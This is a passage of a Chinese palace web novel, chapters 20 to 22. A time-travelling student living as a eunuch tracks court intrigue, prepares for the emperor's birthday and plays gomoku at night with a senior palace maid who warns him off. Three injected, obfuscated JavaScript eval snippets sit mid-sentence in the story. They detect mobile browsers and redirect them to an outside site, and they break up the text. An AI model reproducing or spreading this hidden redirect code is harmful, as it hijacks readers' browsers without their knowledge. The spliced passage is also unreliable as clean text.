有的是冰冷的石片,陶土渣,一盏随时可能油尽灯枯的油灯,和窗外无边无际的宫墙暗影。 “四三……这里应该冲一下……”他喃喃自语,用的是只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16896193|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有自己能听到的气音,像是在讲解,又像是在说服自己集中注意力,“黑棋有点优势……嗯,白棋应该在这里挡……不对,这样黑棋好像能做个活三……” 他试图去推演棋盘上的变化,寻找最优解。可思绪总是飘忽。 这棋子真糙,磨得指尖有点疼。以前用的自动铅笔,在便利店买的卡通图案中性笔……同桌那支总是带着淡淡桃子香味的荧光笔,画出来的线都好像更活泼些。 电脑。 这个词突然毫无征兆地撞进脑海。 他想他的电脑了。那台银灰色的笔记本,贴着几个二次元的贴纸,键盘因为常年敲打,WASD和回车键都有点磨光了。里面存着他没打完的游戏,下载到一半的电影,还有那个专门记录各种难题巧解的文档。 如果电脑在,他至少可以搜索一下:“穿越成太监怎么办?”“古代宫廷生存指南”“如何证明黎曼猜想以震惊古人换取自由”——虽然最后一个大概率搜不到。 手机。他的手机,最新的型号,被他妈以影响学习为由收走了,只有周末晚上才能玩一小时。他记得那天晚上他还在跟同学争论一道物理题的多种解法,消息提示音叮咚作响。屏幕的光映在脸上,是温暖的,属于人间的光。 而现在,只有油灯舔舐黑暗投下摇晃不定的阴影。 网络。信息。那个触手可及,应有尽有的世界。他可以用搜索引擎查找任何关于“晟朝”的蛛丝马迹,可以匿名在论坛发帖求助“急!在线等!灵魂穿成太监且皇帝疑似基佬怎么办?”,可以看无数宫斗剧解说和干货分析,甚至可以……查找有没有类似时空穿越的学术假说或离奇记载。 而不是像现在这样,抱着一本残缺不全,语焉不详的《晟朝宫苑录》,在故纸堆里大海捞针,连这个朝代是不是他历史书上任何一个朝代的变体都搞不清楚。 “爹的……”他捏着一粒黑子,悬在棋盘上方,迟迟没有落下,低声骂了一句,“连个WIFI都没有……不,连电都没有……阿尔法狗来了这儿都得抓瞎。” 他闭上眼,用力揉了揉发胀的太阳穴。再睁开时,目光重新聚焦在棋盘上。自己跟自己下五子棋,还下得这么投入,真是够无聊的。可这是他现在唯一能抓住的、一点点像“思考游戏”的东西,能让他暂时逃离这具身体,这个身份,这座牢笼。 黑子落下,封住了白棋一个潜在的四三。他换到对面,拿起白子,试图寻找突围。 “要是能有个计算器也好啊……”他继续自言自语,声音干涩,“或者有本《五年高考三年模拟》……爹的,我现在居然觉得写数学卷子都是幸福的……” 至少那些题目有答案,有逻辑,有终点。而他现在面对的,是一盘没有规则说明书,对手不明,甚至连自己是什么棋子都搞不清的生死棋局。 冯昭仪是执棋人吗?青黛是另一枚棋子,还是观棋者?徐昭容咄咄逼人,皇后疲于应付,皇帝……那个影子般存在却决定所有人命运的皇帝,他到底在想什么?李婕妤的倒台,真的只是私通那么简单?那声未尽的“徐宛白”,到底藏着多少隐情? 而他,关禧,或者说小离子,在这盘棋里,到底是被用来兑子的卒,还是等待被将军的帅旁边那个可有可无的士?或者,他连棋盘上的子都不是,只是棋盘旁边一颗碍事的灰尘,随时可能被吹落。 白子落下,看似无意,却隐隐形成了另一个方向的连接。关禧盯着棋盘,忽然觉得这纵横交错的格子,像极了这重重宫阙,每一条线都是规矩,每一个交点都是一个位置,或囚牢。黑子与白子纠缠厮杀,都想把对方逼入绝境,连成自己的五子一线。 就像这后宫里的每个人,都在试图用自己的方式,连成那条通往权力,安全,或者仅仅是活下去的线。 他拿起一粒黑子“啪”一声,落在了一个看似无关紧要的位置,却恰好同时破坏了白棋两个潜在的好形。 “不能只想着自己那条线,”他低声说,像是告诫自己,“还得看着别人怎么连……堵别人的路,有时候就是给自己开路。” 20.第 20 章 接下来的日子,宫里表面上看,确实是没发生什么大事。 李婕妤私通之事,在吞没了几条微不足道的人命之后,水面终究是渐渐恢复了平静。只是那沉入潭底的阴影,却让每个经过岸边的人都心头发憷,行路说话,都比以往更添了几分小心。 长春宫彻底沉寂了下去,宫门紧锁,落了厚厚的灰。里面的宫人如皇后旨意所言,被尽数发配去了浣衣局,苦役司那些最磨人的地方,余生大约只能在浆洗捶打或负重劳作中耗尽最后一点力气。偶有洒扫太监经过那附近,都会不自觉地加快脚步。 徐昭容徐宛白,依旧是后宫最张扬明艳的一抹亮色。皇帝对她告发有功颇为嘉许,赏赐流水般进了玉芙宫,那匹曾引发月华门前争执的云锦,也无人再提于礼不合。徐宛白出入宫闱,下巴抬得更高,步摇晃得更急,连带着她宫里的太监宫女,走在路上都比别处的多了三分底气。 但明眼人都能感觉到,玉芙宫与承华宫之间,那股无形的对峙更微妙了。徐宛白看冯媛的眼神,少了几分直白的挑衅,多了些审慎的估量,而冯媛,还是那副云淡风轻的模样,协理宫务,赏花品茶,仿佛长春宫的腥风血雨,不过是一阵吹皱池水的微风,过了,便了无痕迹。 唯有承华宫书斋里的灯,常常亮至深夜。关禧经手的文书,从各宫用度,逐渐扩展到万寿节筹备的相关旧例,内外命妇朝贺的仪程,宴乐赏赐的规格名录……内容越发繁杂,要求也越发精细。 万寿节,皇帝生辰,乃举国同庆之日。 宫中自一个月前便开始筹备,气氛与往日截然不同。内务府,光禄寺,教坊司,尚衣监……各衙门就像上紧发条的机括,日夜不停地运转。 前朝的庆典最为隆重。百官需着朝服,按品级列队,于太极殿前行三跪九叩大礼,献上贺表与贡礼。仪式庄严肃穆,半点差错不得。 后宫亦不遑多让。皇后需率内外命妇,后宫妃嫔于交泰殿行朝贺礼。衣饰钗环皆有定例,行礼举止一丝不能乱。朝贺后,宫中设宴,宴请宗室亲贵,有功命妇。宴席的座次,菜式,歌舞戏曲的编排,乃至宴后赏赐的物件,无不透着森严的等级。 而最让关禧这类低阶内侍感受到节日氛围的,是那份难得的恩典,万寿节前后,宫中会酌情给下人放假轮休,虽只是短短半日或一日,且多数人无处可去,只能在住处附近闲晃,但这已是难得的喘息。月钱也会酌情添一些,谓之节赏。最重要的是,这几日宫中伙食会好上不少,偶尔还能分到些主子们宴席上撤下来不算精贵但平日绝难尝到的点心果子。 “听说今年光禄寺备了西域来的葡萄酒,还有岭南的鲜荔枝,用冰镇着快马送入京的!”小柯某日溜达到书斋附近,趁着青黛不在,偷偷跟关禧咬耳朵,眼里闪着光,“宴席上肯定吃不完,咱们说不定能沾点光!” 关禧正埋头核对一摞宴席器皿清单,闻言笔下未停,只淡淡“嗯”了一声。荔枝?葡萄酒?这些在穿越前唾手可得甚至懒得吃的东西,此刻听着,竟有种恍如隔世的遥远。他更关心的是清单上那些瓷器的数目和品相,以及背后可能隐藏的纰漏——青黛前日特意提点,今年万寿节由皇后总揽,冯昭仪协理,但玉芙宫那边对宴席陈设,器用多有建议,需得格外留意,核对清楚,免得出了岔子,落人口实。 果然,他在核对一批预定用于宴席的青玉螭纹壶时,发现了问题。记录上写明此批壶共二十只,由内府库调拨。但他翻查去岁同类宴席的记录,同样规格的壶只需十八只便足够。多出的两只,记录上标注备用。可再查内府库同期出库的其他物件,并无同样备用之例。 他将这疑点标记出来,附上去岁记录对比,呈给青黛。 青黛看了,眼神微凝,只说了句“知道了”,便将那页纸单独收起。 两日后,关禧在内务府送来的最终核定清单上,看到那青玉螭纹壶的数量,已悄然改回了十八只。 他没问,青黛也没说。但一种无声的默契,在枯燥的文书往来中慢慢建立。青黛交给他的差事越发核心,有时甚至让他初步草拟一些无关紧要的节庆事务安排,再由她润色呈报。关禧做得愈发小心,每一笔都斟酌再三,力求稳妥周全,不露半点个人痕迹。 这日,他正在根据旧例,草拟万寿节当日承华宫内部值守太监的轮换班次与职责。这是一项极其琐碎,却关乎当日宫内秩序与体面的工作。谁负责在前殿迎候可能来贺的低位妃嫔或女官,谁负责茶水点心,谁负责殿外洒扫应对,谁又作为机动候命……需得考虑各人能力,资历,还要避免与皇后或其他高位妃嫔宫中的人事安排冲突。 关禧对着承华宫太监名册,结合这几个月的暗中观察,慢慢勾画。陈公公必然要随侍冯昭仪左右,应对重要场合,几个老成稳重的,可安排在前殿要处,曹太监那伙人……他笔尖顿了顿,将其安排在了偏殿茶水间和外围洒扫这类活计不轻,但不易接触贵人的位置。 至于他自己…… “青黛姐姐,”他抬起头,看向正在另一张书案前核对赏赐物品单子的青黛,声音平稳,“小的的职责,姐姐可有安排?” 青黛从单子上抬起眼,看了他一下,“你?你便留在书斋候命吧,整理好相关卷宗,莫要离了地方。” 留在书斋。远离前殿的喧闹与人际往来,也避开了可能出现的各种是非。这安排,是保护,也是隔离。 “是,小的明白了。”关禧垂首应下,隐隐松了口气。万寿节那种场合,贵人云集,眼线众多,他这张脸,还是藏起来为妙。 筹备事宜紧锣密鼓,宫里各处张灯结彩的匠人也多了起来。承华宫廊下换上了崭新的喜庆宫灯,庭院里的花草也被精心修剪,摆上了应景的万年青,金桔盆景。 气氛越是热闹,关禧却越是警醒。他注意到,青黛近日外出次数增多,有时回来,身上会带着一丝极淡的,不同于承华宫常用的檀香气息。陈公公往内务府跑的也更勤了,回来时面色时而凝重,时而轻松。 这日傍晚,关禧交完一批核对好的礼单,从书斋出来,正要回房,在穿过后院那片竹林时,隐约听到假山后传来压得极低的争执声。一个是陈公公尖细的嗓音,另一个声音更低些,有些耳熟,却一时想不起。 “……你也太小心了!这时候不动,难道等她坐稳了,把咱们都踩下去?”是那个低哑的声音。 “你懂什么!娘娘自有分寸!现在动,打草惊蛇不说,若是惹恼了那位……”陈公公的声音又急又气,“咱们都得吃不了兜着走!” “那位?那位如今眼里只有玉芙宫的狐媚子!再不想法子,等人家真怀上了龙种,这宫里还有咱们娘娘站的地方?别忘了,长春宫的事……” “闭嘴!”陈公公厉声打断,声音带着惊惶,“这话也是能浑说的?你不要命,别拖累娘娘!” 假山后静了一瞬,随即是衣物窸窣和匆匆离去的脚步声。 关禧早已闪身躲在一丛茂密的翠竹后,屏住呼吸,心脏在胸腔里沉沉跳动。长春宫的事……果然没那么简单。陈公公他们,是在谋划着什么?针对徐昭容?还是…… 他不敢再听,待脚步声彻底消失,才悄无声息地退走,绕了远路回到自己小屋。 夜色深沉,他躺在床铺上,睁着眼。 窗外隐约传来宫中演练庆典乐舞的丝竹声,缥缈喜庆,却驱不散他心头的寒意。 他烦躁地翻了个身,硬板床发出轻微的嘎吱声。白日里对着那些繁琐的文书尚能强迫自己集中精神,可一旦夜深人静,独自面对这四壁空虚,那些被压抑的恐惧,迷茫,还有这具身体带来的,日益难以忽视的陌生躁动,便如同附骨之疽,啃噬着他脆弱的神经。 他下意识地伸手摸向枕边,那里放着那个粗陋的棋盘和两碗棋子,冰凉的触感从指尖传来,他捻起一粒黑子,在黑暗中无意识地摩挲着。 笃,笃笃。 门外响起了极轻,却异常清晰的叩门声。 节奏平稳,不疾不徐,在这寂静的深夜里却显得格外突兀。 关禧浑身一僵,捏着棋子的手指蓦然收紧。这个时辰,会是谁?陈公公?还是……曹太监那伙人又来找麻烦? 他屏住呼吸,没有立刻回应,脑子里飞快地转着。若真是陈公公或曹太监,不开门恐怕更糟。 “是我。”门外传来一个清冷平静的女声,声音不高,却像冰珠落玉盘,清晰地穿透门板。 是青黛。 关禧的心跳漏了一拍,随即不受控制地加速狂跳起来。青黛?她怎么会这个时辰过来?万寿节筹备事务繁忙,她不是应该在冯昭仪身边,或者已经歇下了吗?孤男寡女,深夜叩门……这不合规矩,也绝非青黛平日谨言慎行的作风。 他从床上坐起,慌乱地将棋盘和棋子往床铺里侧一推,又迅速理了理身上单薄的寝衣,确认并无过分不妥,才赤着脚,几步走到门边,深吸一口气,压下喉咙口的干涩,低声问道:“青黛姐姐?” “嗯,开门。”门外的声音平稳,听不出情绪。 关禧犹豫了一瞬,指尖触到冰凉的门闩,最终还是轻轻拉开了。 门外廊下悬着的气死风灯投来昏黄的光晕,勾勒出青黛纤细的身影。她穿着白日那身淡青色的比甲,外面罩了件同色的薄斗篷,头发梳得一丝不苟,脸上看不出疲惫,只有一双眼睛在昏暗光线下显得格外幽深。她手里没提宫灯,只拿着一个小小的,用素帕包裹的物件。 夜风从她身后吹来,带着夏日特有微凉的湿意,也送来她身上那股混合着淡淡皂角与书墨的清冽气息,瞬间驱散了小屋内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16902255|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的沉闷。 “姐姐……这么晚了,可是娘娘有什么吩咐?”关禧侧身让开,垂下眼睫,不敢直视她。 青黛迈步走了进来,反手将门虚掩上,并未闩死。她的目光在狭小的屋内迅速扫过,简陋的床铺,空荡的桌子,墙角的水缸,还有床上未来得及完全遮掩的,粗糙的棋盘一角。 “没什么吩咐。”青黛的声音在逼仄的空间里响起,比门外时更清晰,也更近了些,“刚从娘娘那儿回来,见你屋里还亮着灯,顺路过来看看。”她走到桌边,将手中那个素帕包裹的小包放在桌上,“万寿节前后事务繁杂,娘娘体恤,赏了些安神的茶饼,我用不上,给你吧。夜里若是精神不济,或心绪不宁,可以泡一点喝。” 关禧的目光落在那素帕上,心跳得更乱。赏赐?经由青黛的手,在这个时辰,用这种方式?这绝不寻常。 “小的……谢娘娘恩典,谢姐姐记挂。”他躬身道谢,姿态恭顺,心底却警铃大作。 青黛没有接话,目光转而落在了他的脸上。昏黄的灯光下,少年肤色苍白,眼下有淡淡的青影,嘴唇因为紧张而微微抿着,长长的睫毛垂落,在下眼睑投下一小片阴影,随着呼吸轻轻颤动。白日里那份刻意维持的沉静恭顺,在深夜独处,猝不及防的来访面前,露出了裂痕,透出底下属于这个年纪本该有的惊惶。 “脸色不大好。可是近日差事太重,还是……夜里睡不安稳?” 关禧忙道:“小的不敢,差事都是分内应当。只是……只是近来天气闷热,有些择席。”他找了个最平庸的借口。 “哦?择席?”青黛的视线不经意地掠过他那张硬板床,又回到他脸上,唇角几不可察地弯了一下,那笑意很淡,“我还以为,是心里装了太多事,睡不着。” 她向前走了一小步,距离更近了些。关禧能清晰地闻到她身上那股清冽的气息,混合着夜露的微凉,不由主地向后退了半步,脚跟抵住了床沿。 青黛停下脚步,目光落在他微微敞开的寝衣领口。那里因为刚才匆忙起身而未拢严实,露出一小截清瘦的锁骨和凹陷的颈窝,在昏黄光线下,皮肤白得近乎透明,能看到淡青色的血管。 “小离子,”她忽然唤了他的名字,声音比刚才低柔了些,“在这宫里,聪明是好事,但有时候,知道得太多,想得太多,反而会成为负担,甚至……招来祸患。” “小的愚钝,听不懂姐姐的意思。” “听不懂?”青黛又靠近了半步,两人之间的距离已很近,因着身高差,她需微微仰面,才能看清他眼中闪过的惊惶,“长春宫的事,已经了了。万寿节将至,宫里需要的是喜庆祥和。有些不该听的,听到了也要当作没听见;有些不该想的,想到了也要立刻忘掉。把自己分内的事做好,安安分分地待在承华宫,待在……该待的地方。” “娘娘能把你从王公公那儿要过来,是看中你的用处。但这用处,必须用在正道上,用在……对的地方。若是心思歪了,或者管不住自己的眼睛耳朵,那么承华宫能给你的,也能轻易收回去。到了那时,你会被送回哪里,面临什么,想必……不用我多说。” 送回王公公那里,等着被献上御前。这个威胁,比任何直接的恐吓都有效。 关禧的脸色彻底白了,“小的……谨记姐姐教诲。小的只想办好差事,报答娘娘和姐姐的恩德,绝不敢有丝毫非分之想,亦不敢听不该听,想不该想。” 看着他这副惊弓之鸟的模样,青黛眼中那丝冰冷的锐利缓和了些许。 沉默在狭小的空间里蔓延,只有窗外极远处传来的,模糊的更梆声,和两人轻浅不一的呼吸声。 忽然,青黛伸出手,拿起了桌上那个素帕小包,拆开,里面是几块压制成梅花形状,深褐色的茶饼,散发着淡淡的香气。 “这茶,性凉,清心。”她拈起一块,递到关禧面前,“现在就泡一块喝了吧,或许……能让你睡得踏实些。” 关禧看着递到眼前的茶饼,和那只执着茶饼白皙纤长的手指。指尖圆润,指甲修剪得整齐干净,透着健康的淡粉色。他迟疑了一下,伸出双手去接,指尖不可避免地碰到了青黛微凉的指尖。 那一触即分的接触,却像带着微弱的电流,让关禧浑身一僵,差点将茶饼掉在地上。 青黛似乎没有察觉他的失态,或者说并不在意。她收回手,转身走到桌边,提起墙角木架上那个半旧的陶壶,晃了晃,里面还有小半壶冷水。 “我去给你要点热水。”她说着,竟真的拿着陶壶,转身朝门口走去。 “不、不用麻烦姐姐了!小的喝冷的就行!”关禧慌忙道。 青黛脚步一顿,回头看了他一眼,“夜里喝冷的,更伤脾胃。”说完,便拉开门走了出去,身影很快没入廊下的阴影里。 21.第 21 章 关禧独自站在小屋中央,手里捏着那块微硬的茶饼,心脏在胸腔里狂跳不止,掌心一片湿冷。 她到底想干什么?是真的来敲打警告他? 还是……另有目的? 没过多久,轻缓的脚步声再次响起。 青黛提着那个陶壶回来了,壶口冒着丝丝缕缕的热气,她神情自若,把陶壶放在桌上,又从袖中取出一个小小的素白瓷杯,显然是她自己随身带的。 她拿起茶饼,掰下一小块放入杯中,提起陶壶,缓缓注入热水。深褐色的茶饼在热水中迅速舒展,释放出更浓郁的清苦香气,袅袅白汽升腾起来,模糊了两人之间的视线。 “喝吧。”青黛将泡好的茶推到桌子另一边,自己则顺势在桌旁那张简陋的木凳上坐了下来,姿态自然,仿佛这里是她自己的房间。 关禧看着那杯冒着热气的茶,又看了看坐在那里,好整以暇不打算立刻离开的青黛,喉咙发紧。他挪动脚步,走到桌边,端起那杯烫手的茶,小口小口地啜饮起来。 他不敢坐下,只能捧着茶杯,垂首站在桌边。 “会下棋?”青黛的目光,落在了床上那隐约露出的棋盘边缘。 关禧手一抖,差点泼出茶水:“不……不会。只是……胡乱捡来的,看着解闷。” “看着解闷?”青黛重复了一句,起身走到床边,伸手将那个粗陋的棋盘和两碗棋子拿了起来。她掂了掂棋盘,指尖拂过那些深浅不一的刻痕,又看了看碗里那些形状不规则的碎石片和陶土块。 关禧的心提到了嗓子眼,不知道她要做什么。 青黛拿着棋盘棋子,重新坐回桌边,将棋盘在桌上摊开。然后,她竟从自己那碗白子中,拈起一粒,放在了棋盘正中央的天元位上,恰好是关禧上次自己跟自己下时,黑子落下的位置。 “我教你。”她抬起头,看向僵立在一旁的关禧,“围棋不会,简单的五子棋,总该知道吧?连成五子一线,便算赢。” 关禧彻底愣住了。青黛……要教他下五子棋?在这深更半夜,在他这间简陋的小屋里? 见他不语,青黛又从黑子碗中取出一粒,递向他:“还是说,你连这个,也不敢?” 那句“不敢”,轻轻巧巧,关禧看着递到眼前的黑子,又看看青黛平静的眼神,终于伸出手,接过了那粒粗糙冰凉的棋子。 他的指尖再次划过青黛的指尖。这一次,接触的时间更久一些。青黛的指尖微凉,却异常柔软。 “坐。”青黛示意他对面的床沿。 关禧依言,有些僵硬地坐在了床沿上,与青黛隔着一张破旧的木桌和一方粗陋的棋盘。 青黛执白,关禧执黑。 “你先。”青黛淡淡道。 关禧捏着黑子,看着纵横交错的棋盘,又看看对面气定神闲的青黛,一时间竟不知该落子何处。这情景太过荒诞,深夜,孤室,他与承华宫的掌事宫女,对弈着一盘用碎石陶土代替的五子棋。 他定了定神,将黑子落在了白子旁边。 青黛几乎是毫不犹豫地,落下了第二颗白子,封住了黑子一个方向。 棋局就这样无声地展开了。 落子声“嗒”、“嗒”响起,在寂静的夜里格外清晰。关禧起初心神不属,落子仓促,很快便被青黛的白子隐隐形成了攻势。但渐渐的,他被棋局本身吸引了注意力。青黛的棋路清晰,防守严密,偶尔的进攻也带着一种不疾不徐的从容,像极了她在宫中处事的风范。 而关禧,一旦沉浸进去,逻辑思维便开始发挥作用,他开始计算步数,预判青黛的意图,寻找可能的连接和突围点。他的落子慢了下来,眼神也逐渐专注。 两人都沉默着,只有棋子起落的声音,和窗外若有若无的宫廷夜籁。 不知过了多久,关禧盯着棋盘,眉头微蹙。黑子看似散乱,但他刚刚悄悄布下了一个双重陷阱:他先制造了一个看似迫在眉睫的冲四活三,诱使对手来防;一旦白子落入这个圈套,他真正的杀招,一个隐藏的一子双杀才将显露。他紧张地等待着青黛的反应。 青黛拈起一粒白子,悬在棋盘上方。她的目光掠过关禧微微抿紧的唇和专注的眼神,指尖未作停留,便轻盈地落在了棋盘另一个看似无关的要点上。 关禧先是一怔,随即心头剧震。青黛这一子,并非去堵他摆在外面的那把刀,而是精准地落在他暗藏杀招的筋上,他精心构筑的后续所有攻势,如同被抽掉关键一块的积木,瞬间崩塌。更令他心惊的是,这步棋在化解他全部威胁的同时,悄然将白棋两处散子贯通成势,反手筑起了更为坚实的攻势。 她不仅看穿了他的双层陷阱,还用一步棋,轻描淡写地拆解了所有危机,并反手主导了棋局。 “下棋,如同在这宫里行事。”青黛开口,声音在棋子轻响中显得格外清晰,“不能只盯着眼前一招的得失,也不能只算计明处的一条线。有时候,看似无关的一子,落在旁处,却能定全局的生死。”她抬起眼,看向关禧,“你心思细,能算三步,这是你的长处。但若只算自己这三步,看不到别人可能的后手,甚至看不到棋盘之外执棋人的心思,那便是取死之道。” 关禧捏着棋子的手停在半空,后背沁出一层细密的冷汗。青黛的话,一语双关。棋局如此,他在这宫中的处境,又何尝不是如此? “小的……受教了。”他低声道,将手中黑子,落在了另一个更为稳妥的位置,放弃了原先的进攻,转为巩固防守。 青黛看着他的落子,眼中掠过一丝几不可察的满意。她没有继续咄咄逼人,也跟着落下一子,棋局再次进入平缓的纠缠。 又下了片刻,眼看白子渐渐形成了优势。 关禧正苦思对策。 “不下了。”青黛淡淡道,将指尖那粒白子轻轻放回陶碗,发出细微的磕碰声。她抬起眼,目光掠过对面因棋局而暂时忘神的少年,眸底那丝审视般的锐利,似乎被氤氲的茶气和这古怪的对弈氛围,晕染得模糊了些,透出点难以言喻的幽深。 关禧正全神贯注于棋局,思考着如何破解白子隐隐成型的三三之势,闻言一愣,捏着黑子的手悬在半空,有些茫然地看向她。 他此刻只穿着那件单薄的白色棉布寝衣,因为刚才匆忙起身,下棋时微微前倾的动作,衣襟松垮,领口敞得更开些,露出一片瓷白的脖颈和更深的锁骨阴影。 夏日寝衣料子本就轻薄,屋内油灯光线昏黄,照在那层棉布上,竟隐隐透出底下少年清瘦的身形轮廓,尤其是肩胛和胸肋的线条,在光线角度下若隐若现。 青黛的视线在他领口停留了一瞬,又扫过他因为专注棋局而微微绷紧,隔着薄薄衣料也能看出流畅线条的手臂。 “你平日见人,也总是这样?”她忽然开口,声音比方才谈论棋局时更轻。 “什么样?”关禧下意识地反问,顺着她的目光低头看了看自己,随即意识到什么,手忙脚乱地去拢松散的衣襟,他这才后知后觉地想起,这是古代,是礼教森严的深宫,即便对方是宫女,即便他此刻身份是太监,只穿着寝衣,这在他看来不过是睡衣,甚至比现代夏天的T恤短裤保守得多,但在青黛眼里,恐怕与衣衫不整,不成体统没什么区别。 “小、小的失仪!”他慌忙站起身,想找件外袍披上,可那件换下来的靛青色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16906375|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太监服正搭在床尾架子上,离得有些远,他急切间竟不知是该先去拿衣服,还是先应对眼前这令人无地自容的局面。 心底属于现代人的那点这衣服挺严实的念头,在青黛平静却如有实质的目光下,被击得粉碎,只剩下羞耻和懊恼。 看着关禧涨红的脸,慌乱无措的动作,还有那要缩起来的姿态,青黛似是觉得有趣,又似有别的什么,她微微偏了偏头,语气里听不出喜怒,却比任何斥责都更让关禧难堪: “这寝衣,是宫里统一发放的料子吧?浆洗得倒干净。”她像是点评一件无关紧要的物件,“只是未免太单薄了些。夜里起身,或是像现在这般……总该披件外袍。规矩体统,不仅在明面上,也在这些细微处。让人瞧见了,终究不好。” 她说着“让人瞧见了不好”,可她自己此刻不正瞧着么?而且瞧得这般仔细,这般坦然。 关禧只觉得脸上火辣辣的,恨不得立刻钻进地缝里去,胡乱地点头,“是……是小的疏忽,谢、谢姐姐提点……小的以后一定注意。”他终于挪到床边,一把抓过那件靛青色外袍,仓促地披在身上,也顾不上系带,只是紧紧拢住前襟,试图将那身不成体统的寝衣完全遮蔽。 青黛看着他如受惊小动物般裹紧自己的动作,轻笑了一声,那笑声极轻极淡,很快消散在带着茶香的空气里。她站起身,走到桌边,端起关禧方才喝了一半,此刻已微凉的茶,指尖在杯沿上轻轻摩挲了一下。 “茶凉了。”她说着,抬手,竟将杯中残茶一饮而尽。 这个动作自然而随意,却让关禧瞳孔骤缩,那杯子是他用过的。 青黛放下空杯,目光再次落回关禧脸上。少年裹在略显宽大的靛青外袍里,衬得脸色愈发苍白,唯有一双眼睛因为羞窘和震惊,在灯光下亮得惊人,眼尾那抹天生的微红此刻更加明显,像晕染开的胭脂。 “棋下得不错。”她又跳回了之前的话题,仿佛刚才那段关于衣着的插曲从未发生,“心思活,懂得变通。只是……”她顿了顿,意有所指,“有时候,太过专注于棋盘上的线,反而会忽略执棋之人的手。下棋之人想让你赢,你才能赢;想让你输,你怎么挣扎都是输。记住这点。” 关禧心乱如麻,只能懵懂地点头。 “好了,夜深了。”青黛整理了一下自己的衣袖和衣襟,那副沉稳干练的掌事宫女姿态重新回到了她身上,“茶也喝了,棋也下了,话也说了。你早些歇着吧,万寿节前,还有得忙。” 她转身,走向门口,步履从容。拉开门扉,夜风涌入,吹动她淡青色的衣摆和鬓边一丝不苟的发丝。 “对了,”她在门槛处停步,没有回头,声音随着夜风飘来,清晰入耳,“那棋盘棋子,既捡来了,就收好。宫里不兴这些玩物丧志的东西,别让人瞧见。” 话音落,她已踏入廊下阴影中,脚步声渐行渐远,最终融入了深宫无边的寂静。 关禧独自站在小屋中央,身上裹着那件匆忙披上的外袍,手里还捏着那粒始终未落下的黑子。空气中仿佛还残留着清苦的茶香,和她身上那股冷冽又干净的气息。 脸上热度未退,心跳依旧失序。 青黛最后那几句话,关于棋,关于执棋之手,关于棋盘棋子……像迷雾中的灯火,影影绰绰,照出前路崎岖,却又看不真切。 而她方才的举止,那些目光,那些言语……究竟是有意的试探,无心的疏忽,还是…… 关禧用力甩了甩头,不敢再想下去。 他走到门边,将门轻轻闩上,低头,看着自己身上这身不伦不类的打扮。 这深宫的夜,果然一刻也不让人安宁。 22.第 22 章 宫里关于万寿节的筹备越发如火如荼,空气里都弥漫着一股紧绷而兴奋的气息。各处宫苑张灯结彩的速度快得惊人,连承华宫最偏僻的角落,也挂上了崭新绘着吉祥图案的灯笼。内务府,光禄寺等衙门的人往来穿梭,脚步匆匆,捧着各式各样的清单,样品,贡礼。 在这种全民忙碌的氛围里,一项难得的恩典也悄然落实——轮休。虽只是短短一日,且需错开安排,确保各处当值人手不断,但对于常年如螺钿般运转的宫人来说,已是天大的喘息之机。 关禧的轮休日,被安排在万寿节前三天。 青黛那日随口提了一句:“放你一日假,也该出去走走,透透气,总闷在书斋里,人都要僵了。” 休沐这日,是个难得的晴好日子。夏末的阳光已褪去了最酷烈的毒辣,变得温煦明朗,天空是高远澄澈的湛蓝,几缕薄云悠然飘过。微风拂过宫墙,带来隐约的桂花甜香,那是御膳房和光禄寺为了节庆糕点,特意催开的早桂。 关禧换上了一身浆洗得干净挺括的靛青色太监服——不是承华宫那套,而是他当初从派办处带过来的旧衣。料子普通,颜色也略深些,但胜在整齐利落。他将头发仔细束好,戴上太监帽,对着水盆里模糊的倒影看了看。镜中人面色苍白,眼神比初来时沉静了许多,那张过于精致的脸在整齐服饰的约束下,少了几分惹眼的昳丽,多了些属于底层太监的恭顺。 他今日的目的很明确:先去净舍那边看看石头,然后,顺道去拜访王公公。 石头是他穿越之初,在这冰冷宫墙内感受到的第一丝微弱善意。尽管他自己前途未卜,但心底总还记挂着那个善良的孩子。听说石头还在王公公手下做些杂役,住在净舍那阴暗拥挤的大通铺。关禧想看看他过得如何,或许……能稍微接济一点,或者只是说几句话。 而拜访王公公,则是他深思熟虑后的决定。王公公是他的引路人,将他从净舍的泥淖里捞出来,送入派办处,又大方地让给了冯昭仪。这份恩情,表面功夫必须做足。更重要的是,他需要摸清王公公如今对他的态度,以及王公公在万寿节乃至后宫日益微妙的局势中,站在哪一边,或者……想从哪一边获利。他怀里揣着一个小布包,里面是他这段时间省吃俭用攒下的,约莫五两的碎银子,这对他来说已是一笔不小的数目,准备作为孝敬。 收拾停当,他深吸一口带着桂香和阳光味道的空气,迈出了承华宫的侧门。 